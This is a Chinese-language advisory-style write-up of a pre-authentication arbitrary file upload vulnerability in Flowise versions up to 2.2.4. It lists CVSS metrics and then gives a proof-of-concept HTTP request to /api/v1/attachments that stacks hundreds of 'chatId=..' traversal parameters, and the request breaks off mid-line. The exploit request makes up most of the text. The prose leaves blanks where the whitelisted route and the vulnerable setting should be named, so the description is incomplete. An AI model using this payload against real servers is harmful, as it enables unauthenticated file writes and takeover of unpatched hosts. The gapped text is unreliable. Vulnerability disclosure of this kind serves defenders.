漏洞概述 Flowise 存在一个预认证任意文件上传漏洞（GHSA-h42x-xx2q-6v6g）。攻击者可以利用白名单路由 上传任意文件，当 设置为 （默认值）时，该漏洞可被利用。 影响范围 受影响版本：≤ 2.2.4 严重程度：9.3 / 10（Critical） CVSS v4 基本指标： - 攻击向量：网络 - 攻击复杂度：低 - 攻击要求：无 - 所需权限：无 - 用户交互：无 - 系统影响指标： - 机密性：高 - 完整性：高 - 可用性：高 - 后续系统影响指标： - 机密性：无 - 完整性：无 - 可用性：无 修复方案 已修复版本：无（截至报告日期） POC 代码 以下是利用该漏洞的 HTTP 请求示例： ```http POST /api/v1/attachments?chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&chatId=..&ch